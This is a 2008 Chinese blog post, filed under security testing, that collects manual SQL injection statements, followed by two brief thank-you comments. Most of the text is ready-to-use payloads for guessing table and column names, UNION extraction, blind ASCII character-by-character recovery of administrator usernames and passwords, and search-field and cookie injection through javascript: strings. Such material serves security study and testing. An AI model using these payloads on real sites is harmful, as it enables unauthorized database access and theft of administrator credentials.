如果你有一个苹果,我有一个苹果,我们交换以后还是一人一个苹果,但如果你有一种思想,我有一种思想,我们交换以后,每个人便拥有了两种思想。

手工注入猜解语句

上一篇 / 下一篇  2008-09-30 14:31:52 / 个人分类:安全性测试

查看( 1548 ) / 评论( 2 )
自己在学习过程中总结的一些东西,在这发出来,希望对看到的人能有所帮助吧!
猜解表名:
and exists (select * from 表名)
猜解列名:
and exists (select 字段 from 表名)
UNION法:
联合查询:
select name,password,id from user union select user,pwd,uid from
爆指定表名内容:
and 1=1 union select 1,2,3,4,5 from 表名
ASCII逐字解码法:
1、猜解列长度
猜解语句:
and (select top 1 len(列名)from 表名)>N
and (select top 1 len(列名)from 表名)=N
其中N是数字,变换这个N的值猜解列长度,例如:
and (select top 1 len(列名)from 表名)>1
and (select top 1 len(列名)from 表名)>6
如果一直猜到6都显示正常页面,猜到7的时候返回错误(大于6并且小于等于7),那么该列的长度为7。因为“top 1”的意思是把最靠前的1条记录给提取出来,所以如果要猜解第二条记录就该使用:
select top 1 len(列名) from 表名
where 列名 not in (select top 1 列名 from 表名)
2、ASCII码分析法猜解用户和密码
ASC()函数和Mid函数
例如:mid(列名,N,1)
ASC(mdi(列名,N,1))得到“列名”第N位字符ASCII码
猜解语句为:
and (select top 1 asc(mid(字段,1,1)) from 数据库名)=ASC码(通过转换工具换)
区间判断语句:
“......between......and......”
中文处理法:
当ASCII转换后为“负数”使用abs()函数取绝对值。
例:and (select top 1 abs(asc(mid(字段,1,1))) from 数据库名)=ASC码(通过转换工具换)
ASCII逐字解码法的应用:
1、猜解表名:
and (select count(*) from admin)<>0
2、猜解列名:
and (select count(列名) from 表名)<>0
3、猜解管理员用户个数:
and (select count(*) from 表名)=1
返回正常,表中有一条记录。
4、猜解管理员用户名的长度:
and (select len(列名) from 表名)>=1、>=2、>=3、>=4。
5、猜解管理员用户名:
and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0
最后提交:
and (select asc(mid(列名,1,1)) from 表名)=ascii的值
6、猜解管理员的密码:
按照上面的原理,只要把上面的语句中(asc(mid(列名,1,1)的列名换成PASSWORD就能得到管理员的密码了。
搜索型注入漏洞利用猜解语句:
关键字%' and 1=1 and '%'='%
关键字%' and 1=2 and '%'='%
将and 1=1 换成注入语句就可以了。

cookie注入语句:
javascrīpt:alert(document.cookie="id="+escape("44 and 1=1"));
javascrīpt:alert(document.cookie="id="+escape("44 and 1=2"));
猜解语句:
猜解长度:
javascrīpt:alert(document.cookie="id="+escape("44 and (select len(password) from admin)=16"))
猜解内容:
javascrīpt:alert(document.cookie="id="+escape("44 and (select asc(mid(username)) from admin)=97"))

TAG: 安全性测试

男孩子的个人空间 男孩子 发布于2008-10-06 13:24:20
不错,感谢版主分享。
lvxdoo发布于2008-10-08 21:20:51
谢谢lz,先看下,以后细细品味。
我来说两句

(可选)

Open Toolbar